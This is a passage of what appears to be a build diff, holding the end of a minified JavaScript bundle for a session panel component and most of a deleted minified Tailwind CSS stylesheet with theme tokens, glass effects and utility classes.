Overview"})]})),e.jsx(K,{open:a,onOpenChange:y=>{y||s()},title:k,size:A,focusTitle:!0,returnFocus:y=>ge(t,y)??document.querySelector("main"),actions:i&&e.jsxs(e.Fragment,{children:[!d&&e.jsxs(e.Fragment,{children:[e.jsx(z,{session:i,jump:m,variant:i.status==="needs-you"?"needs-you":"quiet"}),e.jsx(G,{session:i,stop:h})]}),e.jsx(U,{session:i,resume:g,tooltip:!1})]}),children:w})}function $e({sessionId:t,onClose:a,state:s,now:n,onStopped:l,onAnswered:u}){const[o,c]=p.useState(t);return t!==null&&t!==o&&c(t),o===null?null:e.jsx(Ne,{sessionId:o,open:t!==null,onClose:a,state:s,now:n,onStopped:l,onAnswered:u},o)}export{$e as SessionPanel};
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
@layer properties{@supports (((-webkit-hyphens:none)) and (not (margin-trim:inline))) or ((-moz-orient:inline) and (not (color:rgb(from red r g b)))){*,:before,:after,::backdrop{--tw-border-spacing-x:0;--tw-border-spacing-y:0;--tw-translate-x:0;--tw-translate-y:0;--tw-translate-z:0;--tw-rotate-x:initial;--tw-rotate-y:initial;--tw-rotate-z:initial;--tw-skew-x:initial;--tw-skew-y:initial;--tw-border-style:solid;--tw-leading:initial;--tw-font-weight:initial;--tw-ordinal:initial;--tw-slashed-zero:initial;--tw-numeric-figure:initial;--tw-numeric-spacing:initial;--tw-numeric-fraction:initial;--tw-shadow:0 0 #0000;--tw-shadow-color:initial;--tw-shadow-alpha:100%;--tw-inset-shadow:0 0 #0000;--tw-inset-shadow-color:initial;--tw-inset-shadow-alpha:100%;--tw-ring-color:initial;--tw-ring-shadow:0 0 #0000;--tw-inset-ring-color:initial;--tw-inset-ring-shadow:0 0 #0000;--tw-ring-inset:initial;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-offset-shadow:0 0 #0000;--tw-outline-style:solid;--tw-blur:initial;--tw-brightness:initial;--tw-contrast:initial;--tw-grayscale:initial;--tw-hue-rotate:initial;--tw-invert:initial;--tw-opacity:initial;--tw-saturate:initial;--tw-sepia:initial;--tw-drop-shadow:initial;--tw-drop-shadow-color:initial;--tw-drop-shadow-alpha:100%;--tw-drop-shadow-size:initial;--tw-duration:initial;--tw-content:"";--tw-ease:initial;--tw-animation-delay:0s;--tw-animation-direction:normal;--tw-animation-duration:initial;--tw-animation-fill-mode:none;--tw-animation-iteration-count:1;--tw-enter-blur:0;--tw-enter-opacity:1;--tw-enter-rotate:0;--tw-enter-scale:1;--tw-enter-translate-x:0;--tw-enter-translate-y:0;--tw-exit-blur:0;--tw-exit-opacity:1;--tw-exit-rotate:0;--tw-exit-scale:1;--tw-exit-translate-x:0;--tw-exit-translate-y:0}}}@layer theme{:root,:host{--spacing:.25rem;--container-md:28rem;--container-3xl:48rem;--default-transition-duration:.15s;--default-transition-timing-function:cubic-bezier(.4, 0, .2, 1);--default-font-family:var(--font-sans);--default-mono-font-family:var(--font-mono);--font-sans:"Atkinson Hyperlegible Next", system-ui, sans-serif;--font-mono:"Atkinson Hyperlegible Mono", ui-monospace, "SF Mono", Menlo, monospace;--font-weight-normal:400;--font-weight-medium:500;--font-weight-semibold:600;--text-wait:46px;--text-wait--line-height:.95;--text-wait--letter-spacing:-.03em;--text-name:34px;--text-name--line-height:1.05;--text-name--letter-spacing:-.025em;--text-stat:28px;--text-stat--line-height:1;--text-stat--letter-spacing:-.02em;--text-unit:22px;--text-unit--line-height:1;--text-unit--letter-spacing:0;--text-wordmark:19px;--text-wordmark--line-height:1;--text-wordmark--letter-spacing:-.015em;--text-lead:16px;--text-lead--line-height:1.2;--text-title:15px;--text-title--line-height:1.3;--text-title--letter-spacing:-.006em;--text-row:14px;--text-row--line-height:1.45;--text-body:13px;--text-body--line-height:1.45;--text-fact:12.5px;--text-fact--line-height:1.45;--text-caption:12px;--text-caption--line-height:1.35;--text-micro:11px;--text-micro--line-height:1.2;--leading-tight:1.2;--radius-panel:24px;--radius-chrome:22px;--radius-inner:14px;--radius-row:10px;--radius-capsule:999px;--radius-tube:6px;--radius-bar:4px;--spacing-window:12px;--spacing-rail:76px;--spacing-header:56px;--spacing-row:44px;--spacing-group:40px;--spacing-log-row:38px;--spacing-control:30px;--spacing-button:28px;--spacing-button-hero:38px;--spacing-mark:14px;--spacing-icon:20px;--spacing-track:30px;--spacing-label-col:188px;--spacing-bar-needs-you:16px;--spacing-bar-working:10px;--spacing-bar-idle:2px;--spacing-waited-name:132px;--ease-out:cubic-bezier(.2, .7, .2, 1);--animate-lamp:lamp 3.2s ease-in-out infinite;--animate-spin-loader:spin-loader .9s linear infinite;--animate-rise-fast:rise .24s ease-out both;--animate-fade-in:fade-in .2s ease-out both;--animate-fade-out:fade-out .15s ease-in both;--animate-drop:drop .15s ease-in both}}@layer base{*,:after,:before,::backdrop{box-sizing:border-box;border:0 solid;margin:0;padding:0}::file-selector-button{box-sizing:border-box;border:0 solid;margin:0;padding:0}html,:host{-webkit-text-size-adjust:100%;tab-size:4;line-height:1.5;font-family:var(--default-font-family,-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", "Noto Sans", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji");font-feature-settings:var(--default-font-feature-settings,normal);font-variation-settings:var(--default-font-variation-settings,normal);-webkit-tap-highlight-color:transparent}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;-webkit-text-decoration:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:var(--default-mono-font-family,ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace);font-feature-settings:var(--default-mono-font-feature-settings,normal);font-variation-settings:var(--default-mono-font-variation-settings,normal);font-size:1em}small{font-size:80%}sub,sup{vertical-align:baseline;font-size:75%;line-height:0;position:relative}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}:-moz-focusring:where(:not(iframe)){outline:auto}progress{vertical-align:baseline}summary{display:list-item}ol,ul,menu{list-style:none}img,svg,video,canvas,audio,iframe,embed,object{vertical-align:middle;display:block}img,video{max-width:100%;height:auto}button,input,select,optgroup,textarea{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}::file-selector-button{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}:where(select:is([multiple],[size])) optgroup{font-weight:bolder}:where(select:is([multiple],[size])) optgroup option{padding-inline-start:20px}::file-selector-button{margin-inline-end:4px}::placeholder{opacity:1}@supports (not ((-webkit-appearance:-apple-pay-button))) or (contain-intrinsic-size:1px){::placeholder{color:currentColor}@supports (color:color-mix(in lab,red,red)){::placeholder{color:color-mix(in oklab,currentcolor 50%,transparent)}}}textarea{resize:vertical}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-date-and-time-value{min-height:1lh;text-align:inherit}::-webkit-datetime-edit{display:inline-flex}::-webkit-datetime-edit-fields-wrapper{padding:0}::-webkit-datetime-edit{padding-block:0}::-webkit-datetime-edit-year-field{padding-block:0}::-webkit-datetime-edit-month-field{padding-block:0}::-webkit-datetime-edit-day-field{padding-block:0}::-webkit-datetime-edit-hour-field{padding-block:0}::-webkit-datetime-edit-minute-field{padding-block:0}::-webkit-datetime-edit-second-field{padding-block:0}::-webkit-datetime-edit-millisecond-field{padding-block:0}::-webkit-datetime-edit-meridiem-field{padding-block:0}::-webkit-calendar-picker-indicator{line-height:1}:-moz-ui-invalid{box-shadow:none}button,input:where([type=button],[type=reset],[type=submit]){appearance:button}::file-selector-button{appearance:button}::-webkit-inner-spin-button{height:auto}::-webkit-outer-spin-button{height:auto}[hidden]:where(:not([hidden=until-found])){display:none!important}*{border-color:var(--hairline);outline-color:var(--focus)}html{background-color:var(--ground-top)}body{min-height:100vh;color:var(--ink);-webkit-font-smoothing:antialiased;text-rendering:optimizelegibility;background-color:#0000;font-size:14px;line-height:1.45}code,kbd,samp,pre{letter-spacing:-.02em;word-spacing:-.22em;font-variant-numeric:tabular-nums}:focus-visible{outline:2px solid var(--focus);outline-offset:2px}::selection{background-color:var(--focus)}@supports (color:color-mix(in lab,red,red)){::selection{background-color:color-mix(in srgb,var(--focus) 32%,transparent)}}}@layer components{.ground{z-index:-1;pointer-events:none;background-image:var(--ground);position:fixed;inset:0;overflow:hidden}.ground>i{will-change:transform;border-radius:50%;display:block;position:absolute}.ground-main{top:var(--field-main-top);right:var(--field-main-right);width:var(--field-main-width);height:var(--field-main-height);transform:rotate(var(--field-main-turn));background-image:radial-gradient(closest-side,rgb(var(--field) / var(--field-strength)),rgb(var(--field) / calc(var(--field-strength) * .4)) 52%,transparent 100%)}.ground-deep{background-image:radial-gradient(closest-side,rgb(var(--field-deep) / calc(var(--field-strength) * .85)),rgb(var(--field-deep) / calc(var(--field-strength) * .3)) 55%,transparent 100%);width:1180px;height:880px;top:520px;left:-300px}.ground-far{background-image:radial-gradient(closest-side,rgb(var(--field) / calc(var(--field-strength) * .45)),transparent 100%);width:900px;height:600px;top:820px;left:46%}.ground:after{content:"";opacity:var(--grain);mix-blend-mode:overlay;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='160' height='160'%3E%3Cfilter id='n'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='.9' numOctaves='2' stitchTiles='stitch'/%3E%3CfeColorMatrix values='0 0 0 0 .5 0 0 0 0 .5 0 0 0 0 .5 0 0 0 1 0'/%3E%3C/filter%3E%3Crect width='160' height='160' filter='url(%23n)'/%3E%3C/svg%3E");position:absolute;inset:0}@media(prefers-reduced-motion:no-preference){.ground-main{animation:96s ease-in-out infinite alternate drift-main}.ground-deep{animation:124s ease-in-out infinite alternate drift-deep}.ground-far{animation:150s ease-in-out infinite alternate drift-far}.ground[data-drift=paused]>i{animation-play-state:paused}}@keyframes drift-main{to{transform:rotate(var(--field-main-turn)) translate3d(-90px,70px,0) scale(1.06)}}@keyframes drift-deep{to{transform:translate(120px,-60px)scale(1.04)}}@keyframes drift-far{to{transform:translate(-140px,-40px)}}.glass-chrome,.glass-card,.glass-raised,.glass-float{isolation:isolate;position:relative}.glass-chrome{--rim-paint:var(--rim);border-radius:var(--radius-chrome);background-color:var(--glass-chrome);box-shadow:var(--elev-1)}.glass-card{--rim-paint:var(--rim);border-radius:var(--radius-panel);background-color:var(--glass-card);box-shadow:var(--elev-2)}.glass-raised{--rim-paint:var(--rim-raised);border-radius:var(--radius-panel);background-color:var(--glass-raised);box-shadow:var(--elev-3)}.glass-raised[data-light=lamp]{--rim-paint:var(--rim-lamp), var(--rim-raised)}.glass-raised[data-light=rest]{--rim-paint:var(--rim-rest), var(--rim-raised)}.glass-float{--rim-paint:var(--rim-raised);border-radius:var(--radius-panel);background-color:var(--glass-float);box-shadow:var(--elev-3)}:is(.glass-chrome,.glass-card,.glass-raised,.glass-float):before{content:"";z-index:3;border-radius:inherit;pointer-events:none;background:var(--rim-paint);padding:1px;position:absolute;inset:0;-webkit-mask-image:linear-gradient(#000 0 0),linear-gradient(#000 0 0);mask-image:linear-gradient(#000 0 0),linear-gradient(#000 0 0);-webkit-mask-position:0 0,0 0;mask-position:0 0,0 0;-webkit-mask-size:auto,auto;mask-size:auto,auto;-webkit-mask-repeat:repeat,repeat;mask-repeat:repeat,repeat;-webkit-mask-clip:content-box,border-box;mask-clip:content-box,border-box;-webkit-mask-origin:content-box,border-box;mask-origin:content-box,border-box;-webkit-mask-composite:xor;mask-composite:exclude;-webkit-mask-source-type:auto,auto;mask-mode:match-source,match-source}:is(.glass-chrome,.glass-card,.glass-raised,.glass-float):after{content:"";z-index:-1;border-radius:inherit;pointer-events:none;background-image:var(--sheen);position:absolute;inset:0}@supports not ((mask-composite:exclude) or (-webkit-mask-composite:xor)){:is(.glass-chrome,.glass-card,.glass-raised,.glass-float):before{box-shadow:inset 0 1px 0 var(--control-top),inset 0 0 0 1px var(--rule);background:0 0;padding:0;-webkit-mask:none;mask:none}}.glass-blur{-webkit-backdrop-filter:blur(var(--glass-blur)) saturate(var(--saturate));backdrop-filter:blur(var(--glass-blur)) saturate(var(--saturate))}.lamp-light,.rest-light{--light-reach:60px;z-index:0;top:-90px;left:calc(var(--light-reach) * -1);width:min(820px,calc(100% + var(--light-reach)));pointer-events:none;height:520px;filter:saturate(var(--saturate-hero));-webkit-mask-image:linear-gradient(to right,transparent calc(var(--light-reach) - var(--spacing-window)),#000 var(--light-reach));mask-image:linear-gradient(to right,transparent calc(var(--light-reach) - var(--spacing-window)),#000 var(--light-reach));position:absolute}.lamp-light:before,.rest-light:before{content:"";border-radius:50%;position:absolute}.lamp-light{background-image:radial-gradient(closest-side,rgb(var(--lamp) / calc(var(--lamp-strength) * .3)),rgb(var(--lamp) / calc(var(--lamp-strength) * .09)) 50%,transparent 100%)}.lamp-light:before{background-image:radial-gradient(closest-side,rgb(var(--lamp) / var(--lamp-strength)),rgb(var(--lamp) / calc(var(--lamp-strength) * .35)) 55%,transparent 100%);width:63%;height:330px;top:50px;left:3.7%}.rest-light{background-image:radial-gradient(closest-side,rgb(var(--rest) / calc(var(--rest-strength) * .5)),rgb(var(--rest) / calc(var(--rest-strength) * .2)) 50%,transparent 100%)}.rest-light:before{background-image:radial-gradient(closest-side,rgb(var(--rest) / var(--rest-strength)),rgb(var(--rest) / calc(var(--rest-strength) * .35)) 55%,transparent 100%);width:78%;height:360px;top:40px;left:14.6%}@media(prefers-reduced-motion:no-preference){.lamp-light{animation:lamp-rise 1.2s var(--ease-out) both}}@keyframes lamp-rise{0%{opacity:0;transform:translateY(90px)scale(.9)}}.bar-open{background-color:var(--status-needs-you);box-shadow:inset 0 0 0 1px var(--status-needs-you-edge),var(--bar-glow,0 0 transparent)}.bar-glow{--bar-glow:0 0 16px -3px var(--glow-needs-you)}.bar-answered{background-color:var(--answered-fill);box-shadow:inset 0 0 0 1.5px var(--status-idle)}.bar-working{background-color:var(--status-working-fill);box-shadow:inset 0 1px 0 var(--status-working-top)}.bar-idle{background-color:var(--status-idle)}.stale-dots{background-image:repeating-linear-gradient(to right,var(--status-idle) 0 2px,transparent 2px 6px)}.bar-tube{background-color:var(--tube);box-shadow:inset 0 0 0 1px var(--tube-rim),inset 0 1px 0 var(--tube-top)}.unmeasured-hatch{background-image:repeating-linear-gradient(135deg,var(--unmeasured) 0 1px,transparent 1px 6px)}.thin-scroll::-webkit-scrollbar{width:4px;height:4px}.thin-scroll::-webkit-scrollbar-thumb{background-color:var(--rule-strong);border-radius:999px}.thin-scroll::-webkit-scrollbar-track{background:0 0}@supports not selector(::-webkit-scrollbar){.thin-scroll{scrollbar-width:thin;scrollbar-color:var(--rule-strong) transparent}}[data-host=app] :is([data-slot=header],[data-slot=rail-buttons],[data-slot=ground-above]){-webkit-app-region:drag}[data-host=app] :is([data-slot=header],[data-slot=rail]) :is(a,button,input,select,textarea,summary,[role=button],[tabindex]),[data-host=app] body>:not(#root){-webkit-app-region:no-drag}[data-host=app]{scrollbar-width:thin}}@layer utilities{.\@container{container-type:inline-size}.pointer-events-none{pointer-events:none}.invisible{visibility:hidden}.visible{visibility:visible}.sr-only{clip-path:inset(50%);white-space:nowrap;border-width:0;width:1px;height:1px;margin:-1px;padding:0;position:absolute;overflow:hidden}.absolute{position:absolute}.fixed{position:fixed}.relative{position:relative}.static{position:static}.sticky{position:sticky}.inset-0{inset:0}.inset-x-0{inset-inline:0}.inset-y-0{inset-block:0}.inset-y-0\.75{inset-block:calc(var(--spacing) * .75)}.-top-1\.75{top:calc(var(--spacing) * -1.75)}.top-0{top:0}.top-1\.75{top:calc(var(--spacing) * 1.75)}.top-1\/2{top:50%}.top-2{top:calc(var(--spacing) * 2)}.top-window{top:var(--spacing-window)}.-right-7\.5{right:calc(var(--spacing) * -7.5)}.right-0{right:0}.right-full{right:100%}.bottom-0{bottom:0}.bottom-1\/2{bottom:50%}.bottom-auto{bottom:auto}.left-0{left:0}.left-0\.75{left:calc(var(--spacing) * .75)}.left-1\/2{left:50%}.left-3\.5{left:calc(var(--spacing) * 3.5)}.isolate{isolation:isolate}.z-0{z-index:0}.z-1{z-index:1}.z-10{z-index:10}.z-20{z-index:20}.z-30{z-index:30}.z-40{z-index:40}.z-50{z-index:50}.z-60{z-index:60}.col-span-1{grid-column:span 1/span 1}.col-span-2{grid-column:span 2/span 2}.col-span-4{grid-column:span 4/span 4}.col-span-8{grid-column:span 8/span 8}.col-start-1{grid-column-start:1}.col-start-2{grid-column-start:2}.row-start-1{grid-row-start:1}.row-start-2{grid-row-start:2}.row-start-3{grid-row-start:3}.row-start-4{grid-row-start:4}.container{width:100%}@media(min-width:761px){.container{max-width:761px}}@media(min-width:1181px){.container{max-width:1181px}}.-m-2{margin:calc(var(--spacing) * -2)}.-mx-1\.5{margin-inline:calc(var(--spacing) * -1.5)}.mx-1\.5{margin-inline:calc(var(--spacing) * 1.5)}.mx-2\.5{margin-inline:calc(var(--spacing) * 2.5)}.mx-auto{margin-inline:auto}.-my-0\.5{margin-block:calc(var(--spacing) * -.5)}.-my-2\.5{margin-block:calc(var(--spacing) * -2.5)}.my-auto{margin-block:auto}.mt-0\.5{margin-top:calc(var(--spacing) * .5)}.mt-0\.75{margin-top:calc(var(--spacing) * .75)}.mt-1{margin-top:var(--spacing)}.mt-1\.5{margin-top:calc(var(--spacing) * 1.5)}.mt-2{margin-top:calc(var(--spacing) * 2)}.mt-2\.5{margin-top:calc(var(--spacing) * 2.5)}.mt-3{margin-top:calc(var(--spacing) * 3)}.mt-3\.5{margin-top:calc(var(--spacing) * 3.5)}.mt-4{margin-top:calc(var(--spacing) * 4)}.mt-5{margin-top:calc(var(--spacing) * 5)}.mt-6{margin-top:calc(var(--spacing) * 6)}.mt-10{margin-top:calc(var(--spacing) * 10)}.mt-\[6vh\]{margin-top:6vh}.mt-px{margin-top:1px}.mr-1{margin-right:var(--spacing)}.mr-1\.5{margin-right:calc(var(--spacing) * 1.5)}.mr-11\.5{margin-right:calc(var(--spacing) * 11.5)}.mb-1{margin-bottom:var(--spacing)}.mb-2\.5{margin-bottom:calc(var(--spacing) * 2.5)}.mb-3{margin-bottom:calc(var(--spacing) * 3)}.mb-4{margin-bottom:calc(var(--spacing) * 4)}.-ml-0\.5{margin-left:calc(var(--spacing) * -.5)}.ml-0\.5{margin-left:calc(var(--spacing) * .5)}.ml-6{margin-left:calc(var(--spacing) * 6)}.ml-auto{margin-left:auto}.ml-label-col{margin-left:var(--spacing-label-col)}.line-clamp-2{-webkit-line-clamp:2;-webkit-box-orient:vertical;display:-webkit-box;overflow:hidden}.\!hidden{display:none!important}.block{display:block}.contents{display:contents}.flex{display:flex}.grid{display:grid}.hidden{display:none}.inline{display:inline}.inline-block{display:inline-block}.inline-flex{display:inline-flex}.inline-grid{display:inline-grid}.table{display:table}.size-2\.5{width:calc(var(--spacing) * 2.5);height:calc(var(--spacing) * 2.5)}.size-3{width:calc(var(--spacing) * 3);height:calc(var(--spacing) * 3)}.size-3\.5{width:calc(var(--spacing) * 3.5);height:calc(var(--spacing) * 3.5)}.size-4{width:calc(var(--spacing) * 4);height:calc(var(--spacing) * 4)}.size-4\.5{width:calc(var(--spacing) * 4.5);height:calc(var(--spacing) * 4.5)}.size-6\.5{width:calc(var(--spacing) * 6.5);height:calc(var(--spacing) * 6.5)}.size-7\.5{width:calc(var(--spacing) * 7.5);height:calc(var(--spacing) * 7.5)}.size-button{width:var(--spacing-button);height:var(--spacing-button)}.size-icon{width:var(--spacing-icon);height:var(--spacing-icon)}.size-mark{width:var(--spacing-mark);height:var(--spacing-mark)}.h-1\.5{height:calc(var(--spacing) * 1.5)}.h-2\.5{height:calc(var(--spacing) * 2.5)}.h-3{height:calc(var(--spacing) * 3)}.h-5{height:calc(var(--spacing) * 5)}.h-5\.5{height:calc(var(--spacing) * 5.5)}.h-7{height:calc(var(--spacing) * 7)}.h-11{height:calc(var(--spacing) * 11)}.h-55{height:calc(var(--spacing) * 55)}.h-bar-idle{height:var(--spacing-bar-idle)}.h-bar-needs-you{height:var(--spacing-bar-needs-you)}.h-bar-working{height:var(--spacing-bar-working)}.h-button{height:var(--spacing-button)}.h-button-hero{height:var(--spacing-button-hero)}.h-control{height:var(--spacing-control)}.h-full{height:100%}.h-group{height:var(--spacing-group)}.h-header{height:var(--spacing-header)}.h-px{height:1px}.h-row{height:var(--spacing-row)}.h-track{height:var(--spacing-track)}.h-window{height:var(--spacing-window)}.max-h-57{max-height:calc(var(--spacing) * 57)}.max-h-60{max-height:calc(var(--spacing) * 60)}.max-h-\[min\(26rem\,55vh\)\]{max-height:min(26rem,55vh)}.min-h-9{min-height:calc(var(--spacing) * 9)}.min-h-28{min-height:calc(var(--spacing) * 28)}.min-h-65{min-height:calc(var(--spacing) * 65)}.min-h-button{min-height:var(--spacing-button)}.min-h-log-row{min-height:var(--spacing-log-row)}.min-h-screen{min-height:100vh}.w-0{width:0}.w-0\.5{width:calc(var(--spacing) * .5)}.w-3\.5{width:calc(var(--spacing) * 3.5)}.w-5\.5{width:calc(var(--spacing) * 5.5)}.w-14{width:calc(var(--spacing) * 14)}.w-15\.5{width:calc(var(--spacing) * 15.5)}.w-16{width:calc(var(--spacing) * 16)}.w-20{width:calc(var(--spacing) * 20)}.w-24{width:calc(var(--spacing) * 24)}.w-25{width:calc(var(--spacing) * 25)}.w-28{width:calc(var(--spacing) * 28)}.w-30{width:calc(var(--spacing) * 30)}.w-40{width:calc(var(--spacing) * 40)}.w-96{width:calc(var(--spacing) * 96)}.w-\[min\(440px\,100\%\)\]{width:min(440px,100%)}.w-\[min\(600px\,100\%\)\]{width:min(600px,100%)}.w-\[min\(760px\,100\%\)\]{width:min(760px,100%)}.w-fit{width:fit-content}.w-full{width:100%}.w-label-col{width:var(--spacing-label-col)}.w-mark{width:var(--spacing-mark)}.w-px{width:1px}.w-rail{width:var(--spacing-rail)}.w-waited-name{width:var(--spacing-waited-name)}.max-w-3xl{max-width:var(--container-3xl)}.max-w-155{max-width:calc(var(--spacing) * 155)}.max-w-\[52ch\]{max-width:52ch}.max-w-\[56ch\]{max-width:56ch}.max-w-\[620px\]{max-width:620px}.max-w-\[min\(26rem\,calc\(100vw-1\.5rem\)\)\]{max-width:min(26rem,100vw - 1.5rem)}.max-w-full{max-width:100%}.max-w-md{max-width:var(--container-md)}.min-w-0{min-width:0}.min-w-0\.5{min-width:calc(var(--spacing) * .5)}.min-w-0\.75{min-width:calc(var(--spacing) * .75)}.min-w-4{min-width:calc(var(--spacing) * 4)}.min-w-5\.5{min-width:calc(var(--spacing) * 5.5)}.min-w-16{min-width:calc(var(--spacing) * 16)}.flex-1{flex:1}.shrink-0{flex-shrink:0}.grow{flex-grow:1}.basis-32{flex-basis:calc(var(--spacing) * 32)}.basis-40{flex-basis:calc(var(--spacing) * 40)}.basis-full{flex-basis:100%}.table-fixed{table-layout:fixed}.border-collapse{border-collapse:collapse}.border-separate{border-collapse:separate}.border-spacing-0{--tw-border-spacing-x:0px;--tw-border-spacing-y:0px;border-spacing:var(--tw-border-spacing-x) var(--tw-border-spacing-y)}.-translate-x-1\/2{--tw-translate-x: -50% ;translate:var(--tw-translate-x) var(--tw-translate-y)}.-translate-y-1\/2{--tw-translate-y: -50% ;translate:var(--tw-translate-x) var(--tw-translate-y)}.transform{transform:var(--tw-rotate-x,) var(--tw-rotate-y,) var(--tw-rotate-z,) var(--tw-skew-x,) var(--tw-skew-y,)}.animate-spin-loader{animation:var(--animate-spin-loader)}.cursor-crosshair{cursor:crosshair}.cursor-pointer{cursor:pointer}.resize{resize:both}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.grid-cols-12{grid-template-columns:repeat(12,minmax(0,1fr))}.grid-cols-\[auto_minmax\(0\,1fr\)\]{grid-template-columns:auto minmax(0,1fr)}.grid-cols-\[minmax\(0\,1\.75fr\)_minmax\(0\,1fr\)\]{grid-template-columns:minmax(0,1.75fr) minmax(0,1fr)}.flex-col{flex-direction:column}.flex-col-reverse{flex-direction:column-reverse}.flex-wrap{flex-wrap:wrap}.place-items-center{place-items:center}.items-baseline{align-items:baseline}.items-center{align-items:center}.items-end{align-items:flex-end}.items-start{align-items:flex-start}.items-stretch{align-items:stretch}.justify-between{justify-content:space-between}.justify-center{justify-content:center}.justify-start{justify-content:flex-start}.gap-0\.5{gap:calc(var(--spacing) * .5)}.gap-1{gap:var(--spacing)}.gap-1\.5{gap:calc(var(--spacing) * 1.5)}.gap-1\.25{gap:calc(var(--spacing) * 1.25)}.gap-1\.75{gap:calc(var(--spacing) * 1.75)}.gap-2{gap:calc(var(--spacing) * 2)}.gap-2\.5{gap:calc(var(--spacing) * 2.5)}.gap-3{gap:calc(var(--spacing) * 3)}.gap-3\.5{gap:calc(var(--spacing) * 3.5)}.gap-4{gap:calc(var(--spacing) * 4)}.gap-5{gap:calc(var(--spacing) * 5)}.gap-6{gap:calc(var(--spacing) * 6)}.gap-px{gap:1px}.gap-window{gap:var(--spacing-window)}.gap-x-1{column-gap:var(--spacing)}.gap-x-2{column-gap:calc(var(--spacing) * 2)}.gap-x-2\.5{column-gap:calc(var(--spacing) * 2.5)}.gap-x-3{column-gap:calc(var(--spacing) * 3)}.gap-x-3\.5{column-gap:calc(var(--spacing) * 3.5)}.gap-x-4{column-gap:calc(var(--spacing) * 4)}.gap-x-6{column-gap:calc(var(--spacing) * 6)}.gap-x-12{column-gap:calc(var(--spacing) * 12)}.gap-y-1{row-gap:var(--spacing)}.gap-y-1\.5{row-gap:calc(var(--spacing) * 1.5)}.gap-y-2{row-gap:calc(var(--spacing) * 2)}.gap-y-4{row-gap:calc(var(--spacing) * 4)}.gap-y-7{row-gap:calc(var(--spacing) * 7)}.gap-y-px{row-gap:1px}.self-center{align-self:center}.justify-self-start{justify-self:flex-start}.truncate{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.overflow-hidden{overflow:hidden}.overflow-visible{overflow:visible}.overflow-x-clip{overflow-x:clip}.overflow-y-auto{overflow-y:auto}.rounded-bar{border-radius:var(--radius-bar)}.rounded-capsule{border-radius:var(--radius-capsule)}.rounded-chrome{border-radius:var(--radius-chrome)}.rounded-inner{border-radius:var(--radius-inner)}.rounded-panel{border-radius:var(--radius-panel)}.rounded-row{border-radius:var(--radius-row)}.rounded-tube{border-radius:var(--radius-tube)}.rounded-t-chrome{border-top-left-radius:var(--radius-chrome);border-top-right-radius:var(--radius-chrome)}.rounded-t-tube{border-top-left-radius:var(--radius-tube);border-top-right-radius:var(--radius-tube)}.rounded-b-bar{border-bottom-right-radius:var(--radius-bar);border-bottom-left-radius:var(--radius-bar)}.border{border-style:var(--tw-border-style);border-width:1px}.border-\[1\.5px\]{border-style:var(--tw-border-style);border-width:1.5px}.border-t{border-top-style:var(--tw-border-style);border-top-width:1px}.border-b{border-bottom-style:var(--tw-border-style);border-bottom-width:1px}.border-l{border-left-style:var(--tw-border-style);border-left-width:1px}.border-dotted{--tw-border-style:dotted;border-style:dotted}.border-hairline{border-color:var(--hairline)}.border-ink-muted{border-color:var(--ink-muted)}.border-rule{border-color:var(--rule)}.border-rule-strong{border-color:var(--rule-strong)}.border-t-ink-secondary{border-top-color:var(--ink-secondary)}.bg-fill-quiet{background-color:var(--fill-quiet)}.bg-fill-selected{background-color:var(--fill-selected)}.bg-fill-zebra{background-color:var(--fill-zebra)}.bg-glass-float{background-color:var(--glass-float)}.bg-hairline{background-color:var(--hairline)}.bg-rule{background-color:var(--rule)}.bg-rule-strong{background-color:var(--rule-strong)}.bg-scrim{background-color:var(--scrim)}.bg-status-finished{background-color:var(--status-finished)}.bg-status-needs-you{background-color:var(--status-needs-you)}.bg-thumb{background-color:var(--thumb)}.bg-transparent{background-color:#0000}.bg-well{background-color:var(--well)}.bg-fixed{background-attachment:fixed}.fill-ink-muted{fill:var(--ink-muted)}.fill-status-needs-you{fill:var(--status-needs-you)}.stroke-status-needs-you-edge{stroke:var(--status-needs-you-edge)}.p-0\.75{padding:calc(var(--spacing) * .75)}.p-2{padding:calc(var(--spacing) * 2)}.p-2\.5{padding:calc(var(--spacing) * 2.5)}.p-5{padding:calc(var(--spacing) * 5)}.p-6{padding:calc(var(--spacing) * 6)}.p-10{padding:calc(var(--spacing) * 10)}.p-window{padding:var(--spacing-window)}.px-0{padding-inline:0}.px-1\.5{padding-inline:calc(var(--spacing) * 1.5)}.px-2{padding-inline:calc(var(--spacing) * 2)}.px-2\.5{padding-inline:calc(var(--spacing) * 2.5)}.px-3{padding-inline:calc(var(--spacing) * 3)}.px-3\.5{padding-inline:calc(var(--spacing) * 3.5)}.px-4{padding-inline:calc(var(--spacing) * 4)}.px-5{padding-inline:calc(var(--spacing) * 5)}.px-6{padding-inline:calc(var(--spacing) * 6)}.px-6\.5{padding-inline:calc(var(--spacing) * 6.5)}.px-7{padding-inline:calc(var(--spacing) * 7)}.py-0\.5{padding-block:calc(var(--spacing) * .5)}.py-1\.5{padding-block:calc(var(--spacing) * 1.5)}.py-2{padding-block:calc(var(--spacing) * 2)}.py-2\.5{padding-block:calc(var(--spacing) * 2.5)}.py-3{padding-block:calc(var(--spacing) * 3)}.py-8{padding-block:calc(var(--spacing) * 